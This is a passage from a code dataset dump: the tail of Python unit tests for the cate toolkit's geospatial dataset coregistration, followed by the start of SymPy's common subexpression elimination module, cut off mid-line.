_find_intersection(a, b, (0, 10))\n        self.assertIn('valid intersection', str(err.exception))\n\n        # Test differing pixel sizes\n        a = np.linspace(0.5, 9.5, 10)\n        b = np.linspace(5.25, 14.75, 20)\n        result = _find_intersection(b, a, (0, 20))\n        self.assertEqual((5, 10), result)\n\n    def test_subset(self):\n        \"\"\"\n        Test coregistration being run on a subset\n        \"\"\"\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        lat_slice = slice(-70, 70)\n        lon_slice = slice(-40, 40)\n        ds_coarse = ds_coarse.sel(lat=lat_slice, lon=lon_slice)\n\n        # Test that the coarse dataset has been resampled onto the grid\n        # of the finer dataset.\n        ds_coarse_resampled = coregister(ds_fine, ds_coarse)\n        assert_array_equal([-67.5, -22.5, 22.5, 67.5], ds_coarse_resampled.lat.values)\n        assert_array_equal([-22.5, 22.5],\n                           ds_coarse_resampled.lon.values)\n\n        # Check if the geospatial attributes have been correctly set\n        self.assertEqual(ds_coarse_resampled.lat.values[0] - 45 * 0.5,\n                         ds_coarse_resampled.attrs['geospatial_lat_min'])\n        self.assertEqual(ds_coarse_resampled.lat.values[-1] + 45 * 0.5,\n                         ds_coarse_resampled.attrs['geospatial_lat_max'])\n        self.assertEqual(ds_coarse_resampled.lon.values[0] - 45 * 0.5,\n                         ds_coarse_resampled.attrs['geospatial_lon_min'])\n        self.assertEqual(ds_coarse_resampled.lon.values[-1] + 45 * 0.5,\n                         ds_coarse_resampled.attrs['geospatial_lon_max'])\n        self.assertEqual(45.0,\n                         ds_coarse_resampled.attrs['geospatial_lat_resolution'])\n        self.assertEqual(45.0,\n                         ds_coarse_resampled.attrs['geospatial_lon_resolution'])\n\n    def test_recursive(self):\n        \"\"\"\n        Test coregistration with more dimensions than lat/lon/time\n        \"\"\"\n        slice_fine = np.eye(4, 8)\n        slice_coarse = np.eye(3, 6)\n        ndarr_fine = np.zeros([2, 2, 2, 4, 8])\n        ndarr_coarse = np.zeros([2, 2, 2, 3, 6])\n        ndarr_fine_l1 = np.zeros([2, 2, 4, 8])\n        ndarr_coarse_l1 = np.zeros([2, 2, 3, 6])\n        ndarr_fine_l2 = np.zeros([2, 2, 4, 8])\n        ndarr_coarse_l2 = np.zeros([2, 2, 3, 6])\n        ndarr_fine[:] = slice_fine\n        ndarr_coarse[:] = slice_coarse\n        ndarr_fine_l1[:] = slice_fine\n        ndarr_coarse_l1[:] = slice_coarse\n        ndarr_fine_l2[:] = slice_fine\n        ndarr_coarse_l2[:] = slice_coarse\n\n        ds_fine = xr.Dataset({\n            'first': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_fine),\n            'second': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_fine),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2]),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 2, 'lon': 4})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_coarse),\n            'second': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_coarse),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2]),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2])}).chunk(chunks={'lat': 3, 'lon': 3})\n\n        # Test that the coarse dataset has been resampled onto the grid\n        # of the finer dataset.\n        rm = RecordingMonitor()\n        ds_coarse_resampled = coregister(ds_fine, ds_coarse, monitor=rm)\n\n        self.assertEqual([('start', 'coregister dataset', 2),\n                          ('progress', 0.0, 'coregister dataarray', 0),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 0),\n                          ('progress', 0.03125, None, 2),\n                          ('progress', 0.03125, None, 3),\n                          ('progress', 0.03125, None, 5),\n                          ('progress', 0.03125, None, 6),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 6),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 6),\n                          ('progress', 0.03125, None, 8),\n                          ('progress', 0.03125, None, 9),\n                          ('progress', 0.03125, None, 11),\n                          ('progress', 0.03125, None, 13),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 13),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 13),\n                          ('progress', 0.03125, None, 14),\n                          ('progress', 0.03125, None, 16),\n                          ('progress', 0.03125, None, 17),\n                          ('progress', 0.03125, None, 19),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 19),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 19),\n                          ('progress', 0.03125, None, 20),\n                          ('progress', 0.03125, None, 22),\n                          ('progress', 0.03125, None, 23),\n                          ('progress', 0.03125, None, 25),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 25),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 25),\n                          ('progress', 0.03125, None, 27),\n                          ('progress', 0.03125, None, 28),\n                          ('progress', 0.03125, None, 30),\n                          ('progress', 0.03125, None, 31),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 31),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 31),\n                          ('progress', 0.03125, None, 33),\n                          ('progress', 0.03125, None, 34),\n                          ('progress', 0.03125, None, 36),\n                          ('progress', 0.03125, None, 38),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 38),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 38),\n                          ('progress', 0.03125, None, 39),\n                          ('progress', 0.03125, None, 41),\n                          ('progress', 0.03125, None, 42),\n                          ('progress', 0.03125, None, 44),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 44),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 44),\n                          ('progress', 0.03125, None, 45),\n                          ('progress', 0.03125, None, 47),\n                          ('progress', 0.03125, None, 48),\n                          ('progress', 0.03125, None, 50),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 50),\n                          ('progress', 0.0, 'coregister dataarray', 50),\n                          ('progress', 0.0, 'coregister dataarray', 50),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 50),\n                          ('progress', 0.03125, None, 52),\n                          ('progress', 0.03125, None, 53),\n                          ('progress', 0.03125, None, 55),\n                          ('progress', 0.03125, None, 56),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 56),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 56),\n                          ('progress', 0.03125, None, 58),\n                          ('progress', 0.03125, None, 59),\n                          ('progress', 0.03125, None, 61),\n                          ('progress', 0.03125, None, 63),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 63),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 63),\n                          ('progress', 0.03125, None, 64),\n                          ('progress', 0.03125, None, 66),\n                          ('progress', 0.03125, None, 67),\n                          ('progress', 0.03125, None, 69),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 69),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 69),\n                          ('progress', 0.03125, None, 70),\n                          ('progress', 0.03125, None, 72),\n                          ('progress', 0.03125, None, 73),\n                          ('progress', 0.03125, None, 75),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 75),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 75),\n                          ('progress', 0.03125, None, 77),\n                          ('progress', 0.03125, None, 78),\n                          ('progress', 0.03125, None, 80),\n                          ('progress', 0.03125, None, 81),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 81),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 81),\n                          ('progress', 0.03125, None, 83),\n                          ('progress', 0.03125, None, 84),\n                          ('progress', 0.03125, None, 86),\n                          ('progress', 0.03125, None, 88),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 88),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 88),\n                          ('progress', 0.03125, None, 89),\n                          ('progress', 0.03125, None, 91),\n                          ('progress', 0.03125, None, 92),\n                          ('progress', 0.03125, None, 94),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 94),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 94),\n                          ('progress', 0.03125, None, 95),\n                          ('progress', 0.03125, None, 97),\n                          ('progress', 0.03125, None, 98),\n                          ('progress', 0.03125, None, 100),\n                          ('progress', 0.0, 'coregister dataarray: resample slice', 100),\n                          ('progress', 0.0, 'coregister dataarray', 100),\n                          ('done',)], rm.records)\n\n        slice_exp = np.array([[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                              [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                              [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0., 0.],\n                              [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]])\n        ndarr_fine_exp = np.zeros([2, 2, 2, 4, 8])\n        ndarr_fine_exp[:] = slice_exp\n\n        expected = xr.Dataset({\n            'first': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_fine_exp),\n            'second': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_fine_exp),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2]),\n            'time': np.array([1, 2])})\n        assert_almost_equal(ds_coarse_resampled['first'].values, expected['first'].values)\n\n        # Test that the fine dataset has been resampled (aggregated)\n        # onto the grid of the coarse dataset.\n        ds_fine_resampled = coregister(ds_coarse, ds_fine)\n\n        slice_exp = np.array([[0.625, 0.125, 0., 0., 0., 0.],\n                              [0.125, 0.5, 0.125, 0., 0., 0.],\n                              [0., 0.125, 0.625, 0., 0., 0.]])\n        ndarr_coarse_exp = np.zeros([2, 2, 2, 3, 6])\n        ndarr_coarse_exp[:] = slice_exp\n\n        expected = xr.Dataset({\n            'first': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_coarse_exp),\n            'second': (['time', 'layer', 'layer2', 'lat', 'lon'], ndarr_coarse_exp),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2]),\n            'time': np.array([1, 2])})\n\n        assert_almost_equal(ds_fine_resampled['first'].values, expected['first'].values)\n\n        # Test that coregistering with data arrays with less than all possible\n        # dimensions works\n        ds_fine = xr.Dataset({\n            'first': (['time', 'layer', 'lat', 'lon'], ndarr_fine_l1),\n            'second': (['time', 'layer2', 'lat', 'lon'], ndarr_fine_l2),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2]),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 2, 'lon': 4})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'layer', 'lat', 'lon'], ndarr_coarse_l1),\n            'second': (['time', 'layer2', 'lat', 'lon'], ndarr_coarse_l2),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2]),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2])}).chunk(chunks={'lat': 3, 'lon': 3})\n\n        ds_fine_resampled = coregister(ds_coarse, ds_fine)\n        ndarr_coarse_exp = np.zeros([2, 2, 3, 6])\n        ndarr_coarse_exp[:] = slice_exp\n\n        expected = xr.Dataset({\n            'first': (['time', 'layer', 'lat', 'lon'], ndarr_coarse_exp),\n            'second': (['time', 'layer2', 'lat', 'lon'], ndarr_coarse_exp),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'layer': np.array([1, 2]),\n            'layer2': np.array([1, 2]),\n            'time': np.array([1, 2])})\n\n        assert_almost_equal(ds_fine_resampled['first'].values, expected['first'].values)\n\n    def test_2D(self):\n        \"\"\"\n        Test a case where a 2D lat/lon dataset is resampled or used for\n        resampling\n        \"\"\"\n        # Master dataset is 2D\n        ds_fine = xr.Dataset({\n            'first': (['lat', 'lon'], np.eye(4, 8)),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8)}).chunk()\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 3, 'lon': 3})\n\n        ds_coarse_resampled = coregister(ds_fine, ds_coarse)\n\n        slice_exp = np.array([[1., 0.28571429, 0., 0., 0., 0., 0., 0.],\n                              [0.33333333, 0.57142857, 0.38095238, 0., 0., 0., 0., 0.],\n                              [0., 0.47619048, 0.52380952, 0.28571429, 0.04761905, 0., 0., 0.],\n                              [0., 0., 0.42857143, 0.85714286, 0.14285714, 0., 0., 0.]])\n        exp_arr = np.zeros([2, 4, 8])\n        exp_arr[:] = slice_exp\n\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], exp_arr),\n            'second': (['time', 'lat', 'lon'], exp_arr),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n\n        assert_almost_equal(ds_coarse_resampled['first'].values, expected['first'].values)\n\n        # replica dataset contains a 2D variable\n        ds_coarse = xr.Dataset({\n            'first': (['lat', 'lon'], np.eye(3, 6)),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 3, 'lon': 3})\n\n        ds_coarse_resampled = coregister(ds_fine, ds_coarse)\n\n        assert_almost_equal(ds_coarse_resampled['first'].values, slice_exp)\n\n    def test_int_array(self):\n        \"\"\"\n        Test coregistration on integer arrays\n        \"\"\"\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)], dtype='int32')),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8,)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 2, 'lon': 4})\n\n        ds_coarse = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)], dtype='int32')),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(3, 6), np.eye(3, 6)])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 3, 'lon': 3})\n\n        # Test that the coarse dataset has been resampled onto the grid\n        # of the finer dataset.\n        ds_coarse_resampled = coregister(ds_fine, ds_coarse, method_us='nearest')\n\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([[[1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0, 0, 0],\n                                                         [0, 0, 0, 1, 0, 0, 0, 0]],\n                                                        [[1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0, 0, 0],\n                                                         [0, 0, 0, 1, 0, 0, 0, 0]]])),\n            'second': (['time', 'lat', 'lon'], np.array([[[1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0, 0, 0],\n                                                         [0, 0, 0, 1, 0, 0, 0, 0]],\n                                                         [[1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [1, 1, 0, 0, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0, 0, 0],\n                                                         [0, 0, 0, 1, 0, 0, 0, 0]]])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])})\n        assert_almost_equal(ds_coarse_resampled['first'].values, expected['first'].values)\n\n        # Test that the fine dataset has been resampled (aggregated)\n        # onto the grid of the coarse dataset.\n        ds_fine_resampled = coregister(ds_coarse, ds_fine, method_ds='mode')\n        expected = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([[[1, 0, 0, 0, 0, 0],\n                                                         [0, 1, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0]],\n\n                                                        [[1, 0, 0, 0, 0, 0],\n                                                         [0, 1, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0]]])),\n            'second': (['time', 'lat', 'lon'], np.array([[[1, 0, 0, 0, 0, 0],\n                                                         [0, 1, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0]],\n\n                                                        [[1, 0, 0, 0, 0, 0],\n                                                         [0, 1, 0, 0, 0, 0],\n                                                         [0, 0, 1, 0, 0, 0]]])),\n            'lat': np.linspace(-60, 60, 3),\n            'lon': np.linspace(-150, 150, 6),\n            'time': np.array([1, 2])})\n\n        assert_almost_equal(ds_fine_resampled['first'].values, expected['first'].values)\n\n    def test_same_grid(self):\n        \"\"\"\n        Test the case when both datasets already have the same geospatial definition\n        \"\"\"\n        ds_fine = xr.Dataset({\n            'first': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'second': (['time', 'lat', 'lon'], np.array([np.eye(4, 8), np.eye(4, 8)])),\n            'lat': np.linspace(-67.5, 67.5, 4),\n            'lon': np.linspace(-157.5, 157.5, 8),\n            'time': np.array([1, 2])}).chunk(chunks={'lat': 2, 'lon': 4})\n\n        rm = RecordingMonitor()\n        ds_same = coregister(ds_fine, ds_fine, monitor=rm)\n        # Make sure it returned the input as opposed to going through with\n        # coregistration\n        self.assertEqual([], rm.records)\n\n        assert_almost_equal(ds_same['first'].values, ds_fine['first'].values)\n\n        # Test that a subset is performed, but no coregistration done\n        lat_slice = slice(-70, 70)\n        lon_slice = slice(-40, 40)\n        ds_subset = ds_fine.sel(lat=lat_slice, lon=lon_slice)\n\n        ds_coreg = coregister(ds_subset, ds_fine, monitor=rm)\n        self.assertEqual([], rm.records)\n        assert_almost_equal(ds_coreg['first'].values, ds_subset['first'].values)\n", "meta": {"hexsha": "4995a809a698f8cee2a9c8caa056b38b476b7956", "size": 40984, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/ops/test_coregistration.py", "max_stars_repo_name": "pwambach/cate", "max_stars_repo_head_hexsha": "956eff12530e4a339f56d6d3739bc41328df4f75", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/ops/test_coregistration.py", "max_issues_repo_name": "pwambach/cate", "max_issues_repo_head_hexsha": "956eff12530e4a339f56d6d3739bc41328df4f75", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/ops/test_coregistration.py", "max_forks_repo_name": "pwambach/cate", "max_forks_repo_head_hexsha": "956eff12530e4a339f56d6d3739bc41328df4f75", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 53.0194049159, "max_line_length": 119, "alphanum_fraction": 0.4234823346, "include": true, "reason": "import numpy,from numpy", "num_tokens": 12157, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.12085323565689977, "lm_q1q2_score": 0.05712532759113184}}
{"text": "\"\"\" Tools for doing common subexpression elimination.\n\"\"\"\nfrom __future__ import print_function, division\n\nimport difflib\n\nfrom sympy.core import Basic, Mul, Add, sympify\nfrom sympy.core.basic import preorder_traversal\nfrom sympy.core.function import _coeff_isneg\nfrom sympy.core.compatibility import iterable, xrange\nfrom sympy.utilities.iterables import numbered_symbols, \\\n    sift, topological_sort, ordered\n\nfrom . import cse_opts\n\n# (preprocessor, postprocessor) pairs which are commonly useful. They should\n# each take a sympy expression and return a possibly transformed expression.\n# When used in the function ``cse()``, the target expressions will be transformed\n# by each of the preprocessor functions in order. After the common\n# subexpressions are eliminated, each resulting expression will have the\n# postprocessor functions transform them in *reverse* order in order to undo the\n# transformation if necessary. This allows the algorithm to operate on\n# a representation of the expressions that allows for more optimization\n# opportunities.\n# ``None`` can be used to specify no transformation for either the preprocessor or\n# postprocessor.\n\ncse_optimizations = list(cse_opts.default_optimizations)\n\n# sometimes we want the output in a different format; non-trivial\n# transformations can be put here for users\n# ===============================================================\n\n\ndef reps_toposort(r):\n    \"\"\"Sort replacements `r` so (k1, v1) appears before (k2, v2)\n    if k2 is in v1's free symbols. This orders items in the\n    way that cse returns its results (hence, in order to use the\n    replacements in a substitution option it would make sense\n    to reverse the order).\n\n    Examples\n    ========\n    >>> from sympy.simplify.cse_main import reps_toposort\n    >>> from sympy.abc import x, y\n    >>> from sympy import Eq\n    >>> for l, r in reps_toposort([(x, y + 1), (y, 2)]):\n    ...     print(Eq(l, r))\n    ...\n    y == 2\n    x == y + 1\n\n    \"\"\"\n    r = sympify(r)\n    E = []\n    for c1, (k1, v1) in enumerate(r):\n        for c2, (k2, v2) in enumerate(r):\n            if k1 in v2.free_symbols:\n                E.append((c1, c2))\n    return [r[i] for i in topological_sort((range(len(r)), E))]\n\n\ndef cse_separate(r, e):\n    \"\"\"Move expressions that are in the form (symbol, expr) out of the\n    expressions and sort them into the replacements using the reps_toposort.\n\n    Examples\n    ========\n    >>> from sympy.simplify.cse_main import cse_separate\n    >>> from sympy.abc import x, y, z\n    >>> from sympy import cos, exp, cse, Eq, symbols\n    >>> x0, x1 = symbols('x:2')\n    >>> eq = (x + 1 + exp((x + 1)/(y + 1)) + cos(y + 1))\n    >>> cse([eq, Eq(x, z + 1), z - 2], postprocess=cse_separate) in [\n    ... [[(x0, y + 1), (x, z + 1), (x1, x + 1)],\n    ...  [x1 + exp(x1/x0) + cos(x0), z - 2]],\n    ... [[(x1, y + 1), (x, z + 1), (x0, x + 1)],\n    ...  [x0 + exp(x0/x1) + cos(x1), z - 2]]]\n    ...\n    True\n    \"\"\"\n    d = sift(e, lambda w: w.is_Equality and w.lhs.is_Symbol)\n    r = r + [w.args for w in d[True]]\n    e = d[False]\n    return [reps_toposort(r), e]\n\n# ====end of cse postprocess idioms===========================\n\n\ndef preprocess_for_cse(expr, optimizations):\n    \"\"\" Preprocess an expression to optimize for common subexpression\n    elimination.\n\n    Parameters\n    ----------\n    expr : sympy expression\n        The target expression to optimize.\n    optimizations : list of (callable, callable) pairs\n        The (preprocessor, postprocessor) pairs.\n\n    Returns\n    -------\n    expr : sympy expression\n        The transformed expression.\n    \"\"\"\n    for pre, post in optimizations:\n        if pre is not None:\n            expr = pre(expr)\n    return expr\n\n\ndef postprocess_for_cse(expr, optimizations):\n    \"\"\" Postprocess an expression after common subexpression elimination to\n    return the expression to canonical sympy form.\n\n    Parameters\n    ----------\n    expr : sympy expression\n        The target expression to transform.\n    optimizations : list of (callable, callable) pairs, optional\n        The (preprocessor, postprocessor) pairs.  The postprocessors will be\n        applied in reversed order to undo the effects of the preprocessors\n        correctly.\n\n    Returns\n    -------\n    expr : sympy expression\n        The transformed expression.\n    \"\"\"\n    if optimizations is None:\n        optimizations = cse_optimizations\n    for pre, post in reversed(optimizations):\n        if post is not None:\n            expr = post(expr)\n    return expr\n\n\ndef _remove_singletons(reps, exprs):\n    \"\"\"\n    Helper function for cse that will remove expressions that weren't\n    used more than once.\n    \"\"\"\n    u_reps = []  # the useful reps that are used more than once\n    for i, ui in enumerate(reps):\n        used = []  # where it was used\n        ri, ei = ui\n\n        # keep track of whether the substitution was used more\n        # than once. If used is None, it was never used (yet);\n        # if used is an int, that is the last place where it was\n        # used (>=0 in the reps, <0 in the expressions) and if\n        # it is True, it was used more than once.\n\n        used = None\n\n        tot = 0  # total times used so far\n\n        # search through the reps\n        for j in range(i + 1, len(reps)):\n            c = reps[j][1].count(ri)\n            if c:\n                tot += c\n                if tot > 1:\n                    u_reps.append(ui)\n                    used = True\n                    break\n                else:\n                    used = j\n\n        if used is not True:\n\n            # then search through the expressions\n\n            for j, rj in enumerate(exprs):\n                c = rj.count(ri)\n                if c:\n                    # append a negative so we know that it was in the\n                    # expression that used it\n                    tot += c\n                    if tot > 1:\n                        u_reps.append(ui)\n                        used = True\n                        break\n                    else:\n                        used = j - len(exprs)\n\n            if type(used) is int:\n\n                # undo the change\n\n                rep = {ri: ei}\n                j = used\n                if j < 0:\n                    exprs[j] = exprs[j].subs(rep)\n                else:\n                    reps[j] = reps[j][0], reps[j][1].subs(rep)\n\n    # reuse unused symbols so a contiguous range of symbols is returned\n\n    if len(u_reps) != len(reps):\n        for i, ri in enumerate(u_reps):\n            if u_reps[i][0] != reps[i][0]:\n                rep = (u_reps[i][0], reps[i][0])\n                u_reps[i] = rep[1], u_reps[i][1].subs(*rep)\n                for j in range(i + 1, len(u_reps)):\n                    u_reps[j] = u_reps[j][0], u_reps[j][1].subs(*rep)\n                for j, rj in enumerate(exprs):\n                    exprs[j] = exprs[j].subs(*rep)\n\n    reps[:] = u_reps  # change happens in-place\n\n\ndef cse(exprs, symbols=None, optimizations=None, postprocess=None):\n    \"\"\" Perform common subexpression elimination on an expression.\n\n    Parameters\n    ==========\n\n    exprs : list of sympy expressions, or a single sympy expression\n        The expressions to reduce.\n    symbols : infinite iterator yielding unique Symbols\n        The symbols used to label the common subexpressions which are pulled\n        out. The ``numbered_symbols`` generator is useful. The default is a\n        stream of symbols of the form \"x0\", \"x1\", etc. This must be an infinite\n        iterator.\n    optimizations : list of (callable, callable) pairs, optional\n        The (preprocessor, postprocessor) pairs. If not provided,\n        ``sympy.simplify.cse.cse_optimizations`` is used.\n    postprocess : a function which accepts the two return values of cse and\n        returns the desired form of output from cse, e.g. if you want the\n        replacements reversed the function might be the following lambda:\n        lambda r, e: return reversed(r), e\n\n    Returns\n    =======\n\n    replacements : list of (Symbol, expression) pairs\n        All of the common subexpressions that were replaced. Subexpressions\n        earlier in this list might show up in subexpressions later in this list.\n    reduced_exprs : list of sympy expressions\n        The reduced expressions with all of the replacements above.\n    \"\"\"\n    from sympy.matrices import Matrix\n\n    if symbols is None:\n        symbols = numbered_symbols()\n    else:\n        # In case we get passed an iterable with an __iter__ method instead of\n        # an actual iterator.\n        symbols = iter(symbols)\n    seen_subexp = set()\n    muls = set()\n    adds = set()\n    to_eliminate = set()\n\n    if optimizations is None:\n        # Pull out the default here just in case there are some weird\n        # manipulations of the module-level list in some other thread.\n        optimizations = list(cse_optimizations)\n\n    # Handle the case if just one expression was passed.\n    if isinstance(exprs, Basic):\n        exprs = [exprs]\n\n    # Preprocess the expressions to give us better optimization opportunities.\n    reduced_exprs = [preprocess_for_cse(e, optimizations) for e in exprs]\n\n    # Find all of the repeated subexpressions.\n    for expr in reduced_exprs:\n        if not isinstance(expr, Basic):\n            continue\n        pt = preorder_traversal(expr)\n        for subtree in pt:\n\n            inv = 1/subtree if subtree.is_Pow else None\n\n            if subtree.is_Atom or iterable(subtree) or inv and inv.is_Atom:\n                # Exclude atoms, since there is no point in renaming them.\n                continue\n\n            if subtree in seen_subexp:\n                if inv and _coeff_isneg(subtree.exp):\n                    # save the form with positive exponent\n                    subtree = inv\n                to_eliminate.add(subtree)\n                pt.skip()\n                continue\n\n            if inv and inv in seen_subexp:\n                if _coeff_isneg(subtree.exp):\n                    # save the form with positive exponent\n                    subtree = inv\n                to_eliminate.add(subtree)\n                pt.skip()\n                continue\n            elif subtree.is_Mul:\n                muls.add(subtree)\n            elif subtree.is_Add:\n                adds.add(subtree)\n\n            seen_subexp.add(subtree)\n\n    # process adds - any adds that weren't repeated might contain\n    # subpatterns that are repeated, e.g. x+y+z and x+y have x+y in common\n    adds = [set(a.args) for a in ordered(adds)]\n    for i in xrange(len(adds)):\n        for j in xrange(i + 1, len(adds)):\n            com = adds[i].intersection(adds[j])\n            if len(com) > 1:\n                to_eliminate.add(Add(*com))\n\n                # remove this set of symbols so it doesn't appear again\n                adds[i] = adds[i].difference(com)\n                adds[j] = adds[j].difference(com)\n                for k in xrange(j + 1, len(adds)):\n                    if not com.difference(adds[k]):\n                        adds[k] = adds[k].difference(com)\n\n    # process muls - any muls that weren't repeated might contain\n    # subpatterns that are repeated, e.g. x*y*z and x*y have x*y in common\n\n    # use SequenceMatcher on the nc part to find the longest common expression\n    # in common between the two nc parts\n    sm = difflib.SequenceMatcher()\n\n    muls = [a.args_cnc(cset=True) for a in ordered(muls)]\n    for i in xrange(len(muls)):\n        if muls[i][1]:\n            sm.set_seq1(muls[i][1])\n        for j in xrange(i + 1, len(muls)):\n            # the commutative part in common\n            ccom = muls[i][0].intersection(muls[j][0])\n\n            # the non-commutative part in common\n            if muls[i][1] and 